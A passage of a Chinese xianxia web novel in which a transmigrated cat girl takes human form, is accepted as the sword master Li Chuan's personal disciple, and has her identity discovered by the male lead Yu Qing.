少年闭了闭眼,再睁开时,一开始的疏远慢慢消失,手下的动作也愈发轻柔起来。
听着耳边小猫惬意的呼噜声,原本黎川的警告也被他抛之脑后。
他的确是要尽量少跟毛绒团子牵扯。
但若是......这团子主动投怀送抱呢?
季长青漂亮的眼睛微弯,眸中写满了势在必得。
*
青云峰,弟子舍。
姜姒正被十几双手舒舒服服的伺候着。
一群饱受宗门考核摧残的小白菜们围成个圈,把可爱猫猫从头到尾撸了个遍,边摸还边发出怪异的叫声:
“哎嘿嘿嘿......剑尊的猫猫好可爱啊啊,想偷!”
“......你认真的吗?”
“如果可以得到这只猫猫,信女愿意连进三级,通过考核!”
“嘿,怎么还连吃带拿呢你。”
“都让开!它看我了!它肯定心里有我!”
“早点洗洗睡吧你......梦里什么都有。”
......
对于这场交易,一个可以享受多人按摩服务,一个可以解放紧绷的神经,双向奔赴了属于是。
“咚——”
悠长的钟声响起,午休结束,弟子们都恋恋不舍地最后摸了把猫猫头,三步一回头的上课去了。
姜姒跳下巨石,伸了个懒腰,脚步轻快地往栖寒洲的方向走去。
她清晨去给男主郁清送了花,上午去打卡了毒舌病秧子,午休前趁着人少和小倒霉蛋贴贴蹭蹭了一番。
今日攻略任务圆满完成,可以提前下班了。
哼着不知名小曲儿进了石洞,环视一周没看见自家亲亲饲主。
许是有什么事耽搁了,小姑娘也没多想,跳上石桌后就开始补觉。
今天起得太早,累坏她了。
意识渐渐沉沦,姜姒陷入了梦乡。
这一觉她睡得很不舒坦,小腹处总有股灼热感,不烫,但磨人得很。身上开始沁出细密的汗,乌黑长发黏在脸侧,她不耐烦地用手去扒......
等等!
用手......扒?!
姜姒猛地坐起,控制不住地大口喘气。
还好......只是梦而已。
少女长舒一口气,随手抹掉了额头渗出的细汗。
真是自己吓自己,她还以为要变成人了呢。
本来她没有神识却能听得懂人话就已经很匪夷所思了,要是真从妖身变成了人,那不就是跳进黄河也洗不清,妥妥的妖族奸细了。
......
触觉恢复,小姑娘目光呆滞地看着眼前的手臂,纤细、白嫩,是她前世梦寐以求的肌肤状态。
但这放在目前的情景下,就是个惊悚的鬼故事啊!
她姜姒,一个老老实实的好猫,一无妖丹内力,二无妖脉修炼,甚至连灵智都没开!
但她还是化形了。
没给她太多适应时间,洞门口传来了熟悉的脚步声——
是黎川。
12. 012
人间最近异动频发,驻守的弟子传信来报,疑似妖族那边有了动作。
因为这个事,乾坤宗九殿十三峰大大小小的峰主长老聚在一起,开了三个时辰的商讨会议。
故而黎川回栖寒洲的时间不得不往后延迟了半个时辰。
回去路上,黎川一直都在担心家里那只小猫会不会已经等得不耐烦开始到处磨爪子,或者今天乖一点,老老实实窝在床上边打瞌睡边等他。
一想到那只毛绒团子,青年的嘴角不自觉开始上扬,脚下的速度也越来越快。
然而,等到了栖寒洲门口,一股既陌生又熟悉的气息却又让他忍不住皱起眉来。
是谁?
黎川不动声色抚上腰间银白长剑。
栖寒洲位于万剑峰峰顶,没有他的认可,一般人根本就不可能擅自闯入。
想到今早大殿里讨论的事项,青年眸色一沉。
难不成......是那胆大包天的妖族?
懒得再猜,黎川几步上前,抬手便轰开了那道坚硬无比的石门。
手中长剑出鞘,直冲那道陌生气息而去。
“喵——!!”
熟悉的声音响起,带着平日里少有的凄厉惊恐,听得青年心头发颤。
长剑一瞬悬停,锋利剑身抱怨似的抖动,发出不能嗜血的挣扎嗡鸣。
但都被黎川反手镇压了。
漫天灰尘散去,只见一个裹着银狐皮,黑发披散,头顶猫耳的少女茫然跌坐在地,棕灰长尾不受控地四处拍打,昭示主人紧张害怕的心情。
“你是......那只白猫?”
姜姒疯狂点头。
青年如玉的手指轻轻抚过那对猫耳,意料之中的轻颤。
他眼底不着痕迹地划过一抹笑意,面上却严肃得很,食指用力,勾起少女的下巴,望进那双不知所措的眼睛,语气一本正经:
“可是,你怎么证明?”
证明?
姜姒有些着急,不知为何,她虽化了人形,却还不会说话,每次张口,只能发出徒劳的喵喵声。
见她真的低头认真思索,黎川的眉眼愈发柔和,压着笑,提议道:“不如你给我摸摸尾巴?我养的猫,我最熟悉了,不是吗?”
许是黎川君子形象深入猫心,小姑娘想了会儿,同意了。
骨节分明的手握住蓬松柔顺的长尾,因常年练剑的缘故,青年手心里有一层薄薄的茧。
他检查得很认真,每次不小心碰到姜姒的尾巴尖时,都会语气诚恳的抱歉。
小姑娘也不是太较真的人,忍着点点头也就过去了。
一刻钟后,黎川松开握着尾巴的手,语调温柔:“的确是我养的那只小白猫,但是......你怎么突然化形了?”
姜姒摇摇头,示意自己也不知道。
黎川拧眉沉思了会儿,试探着给少女注入了些许灵力。
说来也怪,有了这点灵力加持后,小姑娘只感觉自己身上最后一层束缚也消失殆尽了。
她尝试着开口:“...黎...川”
吐词清晰,字正腔圆。
第一句,是他的名字。
青年眉眼微动,唇边是掩盖不住的笑意,他不禁想起之前的那几个少年——
走得近又怎样,毛绒团子最依赖的,永远都只会是他。
“黎川......我终于能说人话了!”
随着语言功能的恢复,姜姒头顶的猫耳和身后的猫尾也慢慢消失,最终变成了普通人类少女的模样。
黎川内心微有些遗憾,但他还是摸了摸少女柔软的发顶,努力温声开口:“把手伸出来,我给你探探脉。”
小姑娘依言照做,皓白的手腕有些晃眼,青年微微偏头,目不斜视。
一缕青蓝色灵力探入姜姒体内,慢慢游走过她奇经八脉,运转一个大周天后,黎川收回了手,再开口时,有些迟疑:
“奇怪,你明明是妖身化形,体内却没有寻常妖物修炼时所必须的妖脉,反而有两条灵脉。”
“最重要的是,你丹田处竟然没有妖丹。凡妖兽化形,妖丹往往必不可少。”
“你到底......是谁?”
最后一句话青年说的很慢,但语气认真,像是如果姜姒不能给他个满意答复,下一秒就会被斩于剑下。
少女裹了裹身上仅有的一条银狐毛毯,抬眸望向黎川那双带着审视的眼睛,努力让自己声音听起来平静一些:
“我......其实我也不知道该怎么跟你解释。但是,我可以立天道誓言,我绝对不是妖族奸细,也绝对不会伤害......唔?”
早在姜姒举起手要立天道誓言时,黎川就已经伸手阻断了她接下来的话。
头一次对她冷了脸:
“天道誓言怎可随意,若你到时有逼不得已的原因,岂不就此受困?”
说着,他又无奈似的叹了口气,“我只诈一诈你罢了,怎还真的吓到你了。”
“不管你是谁,你曾经都救过我一命,我黎川从不是那等知恩不报之人。你放心,我不会伤害你的。”
青年说完就转了身,从储物袋里掏出一套干净衣物递给了姜姒,解释道:
“栖寒洲从来都没有住过女弟子,我这里只有平日里的练功服,你先穿上。我去找师姐过来再为你诊脉。”
他说得实在是太自然,小姑娘虽然还有些懵,也顺手接过了那套白色衣裳,轻轻应了声。
*
姜姒在栖寒洲消化突如其来的变故,柳云意在灵药峰消化她师弟刚刚说的话。
快三百年了,她这师弟一直深居简出,成日窝在那天寒地冻的栖寒洲里躲清净。
前些日子得了只猫倒是变得外向了些,但也只有一点点而已。
今日突然上门拜访,开口就是向她要衣服。
还得是款式新颖,布料上等,最好还有防御法阵的女款流仙裙。
吓得她一口茶喷了出来,差点没被呛死。
“咳咳咳......你再说一遍,你要什么衣服?”
黎川面对拉扯他长大的师姐,总是比旁人多了些许耐心的。
他不咸不淡的又重复了遍,仿佛没意识到自己刚刚说了什么令人震惊的话。
“你,你要女式流仙裙干什么?”
柳云意目光里含着淡淡的忧愁,眼神复杂,就像是在看一颗突然长歪了的树苗。
黎川:......
反应过来自己刚说的话有歧义,他又补充解释道:
“不是我,是我收的徒弟。”
柳云意更震惊了,上挑的狐狸眼都瞪圆了几分。
“你什么时候收的徒?!掌门师兄知道吗?还是只有我一个人不知道?”
师姐还是如儿时一般爱八卦。
青年眼神多了几分无奈,但还是老老实实回答了:“今天,不知,不是。”
怕再被追问,他索性一口气交代完了:
“收徒是因为她救过我一命,我为报恩才收她为徒。我已探查过她,不是奸细,没有伪装。资质上等,两条灵脉,天品之像。”
“我那里没有合适的弟子服,这才想着过来找你,顺便请你过去看看她的身体,你知道的,论医术,我不如你。
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”
黎川语速太快,她只精准捕捉到了两句话——
‘论医术’、‘他不如她’。
柳云意被哄得很开心,毕竟黎川这小子从小到大都自负得很,鲜少承认他有什么不如别人的地方。
今天算一次。
“走!你师姐我还有很多压箱底的漂亮裙子,到时候就算是我给小师侄的见面礼了!”
青年淡笑跟上。
柳云意痛失两个地级储物袋后,心都在滴血。
看着黎川嘴角的微笑,她明白自己这是又在无形之中被对方坑了一把。
算了。
她有些感慨,小师弟高兴就好。
毕竟她已经好久,都没见到这么鲜活的师弟了。
*
“黎川!你回来了,我跟你说......”
一进栖寒洲,一道活泼里带着俏皮的声音率先扑面而来,昂扬向上的勃勃生机卷走了这里原本的寒冰料峭。
柳云意不自觉被吸引,抬眸,撞进了一片春意。
眼前少女长眉弯弯,虽是一双杏仁眼,眼尾却微微上翘,平添了几分猫儿似的娇俏傲气,鼻头又生得小巧精致,唇瓣殷红,几缕碎发散落,真真是慵懒又随意。
本不合身的衣服经她一穿,到独有了一番韵味。
最合女人心意的是对方的眼神,清澈又干净,像是春日里流淌不绝的溪水。
柳云意当即眉开眼笑,从黎川腰间拽下那两个储物袋后就迎了上去。
看见熟人因此愣神的姜姒被心心念念的漂亮姐姐一把抱进了怀里,还没说什么,手里又被塞了一看就很贵的储物袋。
“我、我不能要的。”
化为人形后有所收敛的少女连忙摆手拒绝。
“拿着拿着,这是师叔为你准备的见面礼。”
头一次有师侄这么合眼缘的柳云意热情无比。
师叔?她什么时候和饲主变了关系?
姜姒眼神询问一旁装哑巴的黎川。
青年颔首,示意等会儿再跟她解释。
突然多了个师尊的少女只能咬牙硬上,好在她临场反应不错,几番甜言蜜语说得柳云意嘴角的笑就没下去过。
再三保证到时候一定去灵药峰好好拜访,这才把这尊突如其来的大佛哄走。
不过对方临走前,脱口而出的一句“怎么没见着那只白猫”还是把姜姒吓了一跳。
还好黎川最后糊弄过去了。
送走了人的小姑娘只觉身心俱疲,她看向一旁的青年,有些不解:
“你怎么说我是你新收的徒弟?掌门不会起疑心的吗?”
“师兄不会的。”
青年此时已经坐在了石桌边,他抬手一变,一套完整的茶具凭空出现。熟练沏好茶后,他递给了姜姒一杯。
“我从踏上修仙一途以来,就没收过徒弟,师兄平日里最愁心的,就是我的弟子问题。”
玉白手指捏起小巧茶杯,黎川漫不经心摸索几下,接着说:
“因此,我要收徒的话,不论资质,只要合眼缘即可。再说,你资质上等,体内又没有妖脉,就算师兄到时候再查一遍,结果也是一样。”
“那我之前的身份......”
“不难解决,只说你是友人云游时拜托我养的灵宠,现在对方云游回来了,你自然也就要离开了。”
“你还有友人?”
少女有些好奇,原文从头到尾都没提过这人还有什么说得上话的朋友。
青年目光幽深地瞥了姜姒一眼,意味深长的说了句:
“你看起来,好像很了解我。”
13. 013
“哪、哪有?!”
小姑娘长睫轻颤,眼神微动,随即语气无比自然的解释道:“我那不是从跟着你开始,就没见过你身边有什么特别亲近的人嘛。”
说着,姜姒顿了下,忽然发现这个说法不是很严谨,她细想了想,又补充道:“掌门和柳师叔除外。”
莫名较真起来的少女在黎川看来真是哪哪儿都可爱。
他轻咳一声,掩住眸中笑意,选择性忽略了对方刚才反应过来前一瞬间的肢体僵硬。
只放下茶杯,垂了眼,语速缓慢、嗓音沉沉的开了口:
“......原是如此,也难怪你这么想了。”
虽化了人形,但小姑娘骨子里仍保持着毛茸茸的敏锐直觉。
青年此时的语气实在是低落得明显,一反他平日里不轻易情绪外泄的清冷沉稳。
姜姒心里忽得没来由的有些难受。
少年成才,天之骄子,虽说风光无量,人皆艳羡,但也难免独自登高、萧瑟寂寂。
原著里黎川一出场便已经是渡劫期大佬,从前百年间修炼的艰难困苦,都被作者轻描淡写,一笔带过了。
高岭之花说不定只是他对外的保护壳。
许是因为缺少陪伴,受了什么欺负,才只亲近师兄师姐,对其他人或多或少都有所防备。
试想一下,一只还没人腿高的糯米团子,每天清晨吭哧吭哧爬起来练剑,板着张脸辛辛苦苦修炼一天,等日暮西沉后独自回到弟子舍。
长夜阴冷,他裹在被子里,没人分享今日宗门内的奇闻趣事,哪怕是吐槽一下学习内容,亦或是讲讲同门八卦。
他只能自己一个人,孤孤单单的睡过去。
越脑补越觉得黎川是个凄凄惨惨没人关心的小可怜。
姜姒看对方的眼神都柔和起来,她几步上前握住那冷白骨感的左手,语气里带着几分说不出的决绝坚定:
“师尊放心吧!一日为师终生为父,我会一直待在你身边陪着你的,永永远远,不离不弃!”
因为天资甚高,入门不过几月就被宗门太上老祖选中,亲自带在身边传授无情道法的黎川虽不明白少女到底是如何突然兴奋起来的。
但这并不妨碍他喜欢对方眼里只有他一个人时的专注模样。
圆溜杏眸湿漉漉的,眼睑处因为过于激动晕出一片桃色淡红。
忽而收窄的眼尾又微微上翘,像是一把成了精的小钩子,勾得他心中难耐又欢喜。
跟姜姒脑补的略微有点偏差。
黎川自少时起就情感淡漠,不爱说话,凭一己之力孤立了当时所有同龄人。
后来又因为踏上无情道,走了登天梯,他本就稀薄的情感愈发吝啬了。
除了带过他的陆知也和柳云意,他平等地不把所有人放在眼里。
修真界万里挑一的天才里,有敬仰他的,有嫉妒他的,甚至有视他为此生唯一、非君不嫁的。
但于他而言,这些人与路边天生地养的草木万物一样,无甚区别。
黎川就这么过了三百年。
直到某一日,他的眼里又闯进来一个人。
对方其实不能完全称得上是人族,她来历不明,身份可疑。
但这又有什么关系呢,青年漫不经心地想,他会看顾好她的。
他会给她最珍稀的资源,最强大的背景,为她披荆斩棘,扫除一切障碍,亲手扶她登上那人人渴求的通天大道,作为交换——
她只需要永远陪在他身边就好。
感受着手背上传来的暖意,望进眼前人一无所知的真挚眼底。
黎川面上浮现出恰到好处的,被安慰到的动容之色。
薄唇轻启,他低低“嗯”了一声。
*
太渊殿里,姜姒和陆知也相对而立,面面相觑。
望着眼前莫名熟悉的脸,陆知也撇眉,一向沉稳可靠的声音里带上了几分不确定:“师弟啊...你真的...要收她为你的亲传弟子,还是关门的那种?”
黎川矜持点头。
陆知也继续试探:“但她都十六七了,还没引气入体啊?而且......我怎么感觉她那么眼熟呢?”
黎川认真反驳:
“她有两条灵脉,皆为天品,只不过之前长在凡间无人引导罢了。拜入我门下后,我自会亲自指导。”
“至于眼熟”,看着面前生怕被拆穿,摇摇欲坠的某只猫猫,青年眸中划过清浅笑意,“大抵世间美人,都有许多相似之处吧。”
陆知也穷追不舍:“有理,但是......哎,你那只养了好久的白猫呢,今日怎么没见它和你一起?还有......”
“哎呀,行了!”
这次没等黎川开口,一旁等着的柳云意就已经不耐烦打断了自家师兄的满腹疑问。
紫衫摇曳的女人斜着一双狐狸眼看向一旁的白衣男人,语速又急又快的开怼道:
“问东问西的不知道的以为你查叛徒奸细呢!”
“小师弟好不容易收了个弟子,你还在这挑三拣四的,再说了,你不是已经查过了她的灵脉和神识嘛,人家没有问题、清清白白啊!”
“而且我看着这姑娘就是个合眼缘的,别墨迹了,赶紧的吧。”
“......可是”,陆知也垂死挣扎,还想问什么,在接收到师妹飞过来的,毫不留情的第二记眼刀后,也偃旗息鼓了。
“......行吧”,陆知也妥协了。
他伸出左手,掌心上翻,随着一句句晦涩难懂的咒语念出,一个古朴素雅,却难掩其岁月质感的卷轴浮现在了他的手心。
男人抬手向上一抛,那卷轴自动升空,缓缓向两边延伸展开。
浅金字体慢慢显现,姜姒定睛一看,其上记载的都是人名。
“此乃我乾坤宗代代相传的至宝——浮世卷,每一代太上老祖的亲传弟子都会记录其上。”
“这是荣光,亦是责任。”
陆知也的声音变得有些空,小姑娘只感觉自己周边的人和事物都在迅速消失,她也变得轻飘飘的,像是浮在半空一样。
天地之大,只余下了她一人。
“汝为何名?”
一道严肃苍老的声音忽然响起。
身体仿佛不是她的了。
她
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几乎是不受控制地被迫张了嘴,僵硬回答道:“姜姒。”
“汝师为谁?”
“黎川。”
......
“够了,回去吧。”
回答完这两个问题后,她只感觉一阵轻松,升空的身体好像在慢慢下降。
神识像是浸泡在了温水里,刚开始的紧绷不适感慢慢消散,随即涌上的是一种充盈的舒适。
过了不知多久,她猛地一惊回了神,睁开眼,正对上一双蕴满担心的柳叶眸——
是黎川。
五感逐渐恢复,姜姒迷迷糊糊地坐起了身,偏头望向一旁给她倒茶的青年,正欲开口询问,一张嘴,却只觉得喉咙火辣辣的疼。
见她一副被噎住还想挣扎的受难模样,黎川了然,先把手中的凉茶递了过去,随后便温声解释道:
“莫怕,这是正常现象。那浮世卷里本就承载太多强悍的残余神识,最低都约莫是化神境界。”
“你才刚刚引气入体,身体受些伤很正常,修养几日便好了。”
引气入体?
少女有些怔愣,她什么时候引气入体了?
她实在太好懂,脑子里想的那些事全写脸上了,毫无保留。
青年见她这般没有警惕,全身心信赖的模样,心中早已腾起万分怜爱,面上却依旧端得一片斯文沉稳:
“你是天品灵脉,能自动吸收周围逸散的灵气。浮世卷一开,周围的灵气主动聚集,进入了你体内,助你成功引气入体。”
“对了”,黎川从怀里摸出一块琉璃玉,递给了姜姒,“这是你的亲传弟子令。”
“往后在宗内遇见什么解决不了的事,就用令牌传音于我,师尊会帮你解决的。”
“还有,我最擅剑道,你既拜我为师,那我便赠你一把灵剑。”
青年起身,走向了石洞的剑架处,他敲敲打打一番,只听‘轰隆’一声,石头移位的机关声响起,一个隔层露了出来。
骨节分明的手掌从中取出了一个细长的檀木盒子,黎川抱着它走到了石桌边,按捺不住好奇心的姜姒也下了床,赤脚走了过去。
‘啪嗒’一声,锁扣开了。
一柄灵剑呈列其中,瞬间吸引了小姑娘的注意力。
无他,这柄剑太漂亮了。
青绿的剑身锻造得修长流畅,足以可见那锻造之人的技术高超;剑心处又嵌了一块深碧色的宝石,一深一浅,相得益彰。
黎川向姜姒偏了偏头,轻声示意:“试试。”
少女有些兴奋的拿出这把剑,果然如她想象的那般,轻盈又顺手。
她现在还不会使剑,只能胡乱地比划两下。
但就是她这种门外汉,也能从这剑的使用手感上判断出这是一把顶级灵剑。
“师尊师尊!这把剑有名字吗?”
小姑娘扭头询问,一双眼睛乌黑湿润,像是春日里最干净的清泉水。
黎川点头,把自己那把银白色长剑召了过来。
“我这把是灵剑榜第一,归鸿雪。”
“你手中那把,是锻剑大师钟粹的遗作,灵剑榜第三,逢惊春。”
14. 014
又一次摸了摸被妥帖放在枕边的长剑,姜姒心满意足的翻了个身,准备睡觉。
迷糊昏沉之间,她忽然想起一件很重要的事来——
她现在化了人身,不再是原来的可爱毛茸茸了,那她的攻略计划怎么办。总不能抓着男主和反派,当着他们的面原地自曝吧?
意识瞬间清醒,少女坐起身,有些头疼的摁了摁额角。
倒不是她不想这么图方便,关键是原文的背景设置它不允许啊——
原书里,修士和妖族本是形同水火的对立关系,谁看谁都不顺眼,时不时就会发生点小摩擦。
矛盾不断积累,以至于衍生出了两百年前的那场大战,两方都损伤惨重,无数能人天才陨落在了那场战争之中。
虽说两族后来还是停了战,达成了互不干扰、和平交流的友好协议,但这仅仅是一层表面而已。
私底下无数暗流仍旧蠢蠢欲动,等待着时机成熟的一刻,便会争相喷涌而出。
换句话讲,妖族或者混血的人若是不小心在修真界暴露了身份,被冷落孤立还算轻的。
大部分都会被打上奸细或者叛徒的名号,不是被关起来永不得见天光,就是要日日忍受他人的白眼欺凌,直至身死道消。
更别提计划里的反派之一江年还被妖族祸害得那么惨。
她要是在他们面前身份暴露了,恐怕还真如黎川之前所说,要被关入宗内地牢,日日受人审讯折磨。
一想到自己日后叫天天不应,叫地地不灵的凄惨未来,小姑娘就忍不住浑身打了个寒颤。
当初天崩开局,她靠着自己的‘努力’好不容易抱上一个金大腿,从此衣食无忧,顺风顺水,唯一的遗憾就是不能张嘴说话。
现在她走了运,虽不知怎的就苟到了妖身化形,但她不仅有个实力超群的师尊,还得了两条天品灵脉,天赋过人。
也就是说,只要她以后勤勤恳恳修炼,往后也可以乘风逍遥,意气风发,一剑斩尽这天下诸多不平之事。
老天追着给她喂饭吃,难道她还要自毁前途,抬手掀了饭桌吗?
姜姒不是傻子,她自然不会。
少女下床披了件外衣,穿戴整齐,随手化了张面纱仔细遮住自己大半张脸,确认无误后,趁着夜色深重出了门。
凡事都得讲究个有始有终,攻略计划更是其重中之重。
若是她突然之间不告而别,被抛弃过的男主和反派日后心防只会加重,对她第二次的接近计划恐怕不利。
经过洞口,习惯性薅了朵小花的姜姒这样说服自己。
就是这样的,绝对不是她舍不得。
*
早已过了子时,弟子舍里除了偶尔一两句含糊呢喃的梦话,便只剩下了清浅起伏的呼吸声。
小姑娘堪称轻车熟路地七弯八绕,不过片刻,便站到了一扇老旧木门前。
正是郁清的住处。
一想到这人,姜姒便有些想笑。
少年性子别扭得很,自从她上次转移目标、不再整日缠着他后,两人再碰面时,形同陌路一般,他再没正眼看过她。
她那时还以为自己惹恼了对方,讪讪的停止了自讨没趣的送花计划。
谁料自那之后的某个午后,她忽然被他拦了下来。
少年眉眼如旧冷淡,语气硬邦邦的,一开口便直奔主题:
“我的花呢。”
什么?
她一时没有反应过来,只歪着毛绒脑袋懵懵看他。
他许是有些不耐,啧了声,但还是忍着性子又重复了一遍:
“就是你每天都会放在窗前的花,为什么突然不送了。”
哦——
她这才恍然。
之前一直以为那花都被他扔了,没想到他这么喜欢。
小姑娘甜甜的冲对方喵了声,示意自己以后会继续送花的。
也不知男主听懂了没,只定定看了她两秒,便像是有急事似的,偏过头,脚步匆匆离开了。
是个心思细腻的小可怜呢。
回忆结束,姜姒有些感慨地叹了口气,几步上前,把手里握着的花放在了熟悉的位置,低声告别:
“再见喽,也不知道你以后还认不认得出我......”
少女低着头絮絮叨叨,丝毫没察觉一个人影正慢慢朝她靠近。
直到一只苍白修长的手猛地扼住了她的喉咙,微凉的气息洒在脖颈处,
一道有些阴森却难掩狠厉的声音响在她耳畔:
“你在和谁说话。”
*
郁清自从开始练习体内灵魂教授给他的功法后,修为突飞猛进,一日千里,很快便从筑基中期冲到了筑基大圆满,隐隐摸到了凝结金丹的门槛。
这修行速度,就是在一众卷王的内门弟子里,也是出类拔萃的。
有人忍不住嫉妒眼红,还想像以前一样结伴给他点教训,但都被他毫不留情地挡了回去。
修士多慕强,一来二去,也就没人敢再随便招惹他了。
反倒是多了一些向他讨教的。
少年也不藏私,虽然还是那样一副冷冷淡淡的态度和语气,但凡是能解答的问题,他都一一给人解决了。
也算是间接挽救了他低到谷底的名声。
因为功法的特殊性,郁清大多会选择夜深人静之时,到宗门后山修炼,以免被人发现半妖混血的身份。
今夜本来应该也是这样的。
但他刚出门不久,心脏处传来的一阵闷痛感却生生止住了他的脚步。
郁清撇眉,两指并拢抵在胸口,淡色灵力顺着指尖流向阵痛的心脏。
缓了一会儿,疼痛慢慢消失,他正准备走时,忽然听到了一阵脚步声,是朝着他住的方向。
声音很轻,但他还是察觉到了。
又是那群不长眼的小虫子?
内心莫名涌起一阵烦躁,少年脚步一转,换了个方向。
因着半条妖族血脉,他夜间视力很好,几乎是毫不费力的就看清了来人——
是个陌生的漂亮少女。
丝毫没有生出什么怜香惜玉之情,郁清长眉微挑,一张符箓悄然出现在了他的手里。
仔细对比了双方的境界修为,确定少女在他之下后,没再犹豫,他几步上前,悄无声息走到了对方身后,猛地出手,扼住了那脆弱的致命点。
“嗯——”
那人闷哼出声,身体不受控制地后退几步,踉跄着撞进了他怀里。
郁清面色
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瞬间变得嫌恶,正准备把怀里的人一把推开时,一股熟悉的香气却猛地止住了他的动作。
那是花的味道。
准确来说,是某只傻猫每天清晨准时送到他窗边的,花的味道。
乾坤宗几乎是人尽皆知,那只白猫是黎川的爱宠,而黎川独自住在栖寒洲。
他曾听别的弟子说过,剑尊不知何时迷上了种花,种的还是那种能忍受冰寒的极珍稀品种。
整个宗内,只有栖寒洲那儿有。
至于他为什么会关心这些——
之前有一次他在后山训练入了迷,耽误了时辰,回到弟子舍时已过了清晨时分,有人看见了那朵放在他窗边的花,其中有识货的,大声嚷了出来。
他还因此被管事的私下刁难了几次。
思绪回笼,郁清扼着怀中人的手指忽得变的僵硬起来。
他堪称慌乱的松了手,往后退了几步,与少女拉开一臂距离,指尖夹着的符纸也被随意塞在了胸前。
“咳咳——”
差点被掐死的小姑娘骤然获得新鲜空气,忍不住弯着腰闷咳起来。
一旁的少年有些手足无措,他试探着伸手想帮着对方顺气拍背,但被姜姒下意识躲开了。
修长瘦削的手指蜷缩了下,还是沉默着收回了。
好不容易缓过来口气的少女直了腰身,她刚想激情开麦,突然意识到眼前这人是男主,而且还是自己先半夜在人家屋前鬼鬼祟祟的,气焰一下子就消了大半。
郁清显然也是反应了过来。
他先是上下仔细打量了眼前人一番,确认她没什么问题后,从怀里掏出一个瓷白药瓶递了过去:
“这是上好的回元丹,你服下后休息一个时辰便无甚大碍了。”
小姑娘接了过去,刚想开口说些什么,对方一连串的问题先她一步砸了过来:
“你是何人?为何半夜在我房前?你手里的花从何而来?”
“......我、我是你的同门!听闻你修炼颇有心得,特来求教。至于、至于我手里的花......”
姜姒头脑风暴,灵光一闪,张嘴就来:“花是在宗门后山采的!”
宗门后山向来人烟稀少,一般弟子闲着没事根本不会去那里,自然也就不知道那里到底种了些什么东西。
少女暗暗点头,这把应该可以糊弄过去。
“是吗?”
郁清恢复了理智,双手抱臂,不轻不慢的开口反驳:
“可是我今日晚间才去了后山,并未见过师妹你口中所说的这种花啊?”
谁家好人没事跑去后山那鸟不拉屎的地方?!
小姑娘有些尴尬的笑了声,“是吗?许是我记性不好,记岔了吧。”
两方对峙,讲究的就是一个谁嘴快,谁先占据高峰。
姜姒刚开始便失了先机,自然会被另一方牵着鼻子走。
少年见眼前人支支吾吾的样子,眼底划过一抹笑意,嘴上却是步步紧逼不饶人的。
他不着痕迹地靠近了些,弯着腰,以几乎和姜姒面贴面的距离轻声开口,一字一顿:“原是如此,可为何我总觉得,那花看起来眼熟得很呢?”
“你说对吗?”
“小、白、猫。”
15. 015
直到重新躺回床上,睡意朦胧之际,姜姒也没想明白她到底是怎么暴露的。
明明化形后的人身和原来那个毛绒团子没有半点相似之处。
郁清究竟是靠什么来分辨,乃至最后断定她身份的?
回忆起被少年一寸寸逼到角落,退无可退,只能他说什么她便胡乱点头的窝囊模样,小姑娘就气得牙痒痒。
嚣张什么。
不就仗着手里暂时有她把柄,修为又高她几分,便将她当作好欺负的糯米团子,肆意搓扁捏圆。
还挑衅一般凑到她耳边问,他是不是除了黎川之外,第一个知道她真实身份的人。
姜姒那时被郁清语气里若有似无的威胁吓得不行,生怕下一秒就被拉去执法堂当众揭穿身份。
高度紧张之下,一向敏锐的她竟然错过了对方眼底显而易见的调侃笑意,只会垂着脑袋闷声应是。
她没看见郁清眸中的笑意。
自然也就没注意到,在她疯狂点头后,少年脸上瞬间的怔愣,乃至此后眉梢眼角,处处都掩盖不住的愉悦欢喜。
困意如潮水般涌来,少女迷迷糊糊,嘴里还反复念叨着修炼二字。
待她来日得道飞升,定要将那郁清踩在脚下,好好羞辱一番,狠狠报复回去,以解她今夜心头之气!
怀揣着脚踢男主、左拥师尊、右抱反派,从此天地之大任我逍遥的雄心壮志,姜姒慢慢阖上长睫,坠入了深沉梦乡。
*
二月初六,惊蛰。
晚冬的寒意总是散得很快,不过几场淅沥小雨,目之所及便从一片凛冽白雪变成了让人难以忽视的盎然春色。
今冬时节,乾坤宗统共出了两件大事。
第一件,迷倒过无数弟子、拿下过高岭之花的可爱小白猫无声无息离开了宗门,据说是回到了曾经的主人身边。
第二件,两百多年没收过徒的剑尊黎川,疑似被妖鬼迷惑心窍,破例收了个无名氏当亲传弟子。
还是个几乎所有人都没见过,传言中修为只堪堪筑基的无名氏。
猫猫离宗这事儿,虽有不少弟子情绪略显激动,但大多数人都能保持正常,只私下里时不时惋惜,再也摸不到手感那么好的毛茸茸了。
而后者这则消息一出......整个通灵镜都炸了。
无论是在上面八卦闲聊的,捡漏修行经验的,还是浑水摸鱼什么瓜都吃上一口的,都快把问号摁烂了——
“开什么玩笑??剑尊要是真随便收了徒,我今晚就当着我们问剑峰峰主的面把本命剑拆开吃喽!!”
“笑死,我乃上官家嫡系一脉独子,天级下品灵脉!当初我爹就差没跪着跟黎川磕俩响头求他收我了,他怎么可能收一个刚刚筑基的菜鸡呢?!”
“赞同!我之前在太渊殿外值守,亲耳听剑尊跟掌门师叔说他喜欢清净,收徒只会影响他修炼的速度!”
“就是啊,编谣言也不知道编的像一点,张口就来!”
......
就在通灵镜里有人质疑有人相信,双方吵的天昏地暗、不可开交之时,一张有些模糊的图片被发了出来。
众人点开一看,图片中心躺着一张天青色,唯有乾坤宗嫡系一脉才可手持的亲传弟子令。
那令牌之上,时金色灵力行云流水镌刻下的两个名字——
姜姒,还有黎川。
乾坤宗第六百二十三代嫡系亲传,和她经由浮世卷亲自认证过的师傅。
......
片刻沉默后,通灵镜里又炸了。
只不过这次弟子们热火朝天讨论的对象,从一开始的事件本源,转移到了个人身上。
“有人知道这个姜姒嘛,是哪个隐世大族的小辈,还是万里挑一的天才,之前为何从未见过此人?”
“不知道,我已经传信给我父亲,想必三天后就会有结果。”
“姜姒?一听名字就知道是个女子......难不成,是靠着美色走的后门?”
“我呸!龌龊的人看什么都是龌龊的!就不能是人家根骨极佳,黎师叔慧眼如炬,不忍明珠蒙尘吗?!”
......
被黎川带在身边亲自教导的姜姒还不知道自己已经成了乾坤宗的名人。
自拜入黎川门下,一向温润如玉,什么都纵着她的青年就像换了个人似的。
她天天起的比鸡早,睡的比狗晚,初始剑招每日都练习百遍,更别提基础的劈、砍、刺,每天清晨,至少一千个来回。
好在功夫不负有心人。
既有天赋,还肯努力,不过短短三月,她便从一开始连剑都拿不稳的门外汉,到如今稳步进阶,已筑基大圆满的合格剑修。
近日更是隐隐摸到了金丹凝结的门槛。
小姑娘对此很满意。
*
“呼——”
细微破空声唤回了有些走神的少女,看着面前张牙舞爪的丑陋竹妖,姜姒下意识皱了皱眉。
